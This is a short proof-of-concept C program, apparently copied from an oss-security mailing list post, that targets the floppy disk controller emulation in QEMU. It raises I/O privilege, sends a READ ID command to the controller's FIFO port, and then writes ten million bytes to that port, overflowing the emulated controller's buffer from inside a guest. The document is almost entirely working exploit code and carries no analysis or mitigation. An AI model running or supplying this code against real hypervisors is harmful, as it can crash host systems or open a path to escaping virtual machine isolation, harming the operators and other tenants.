QEMU - Floppy Disk Controller (FDC) (PoC)

// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2

#include <sys/io.h>

#define FIFO 0x3f5

int main() {
        int i;
        iopl(3);

        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
}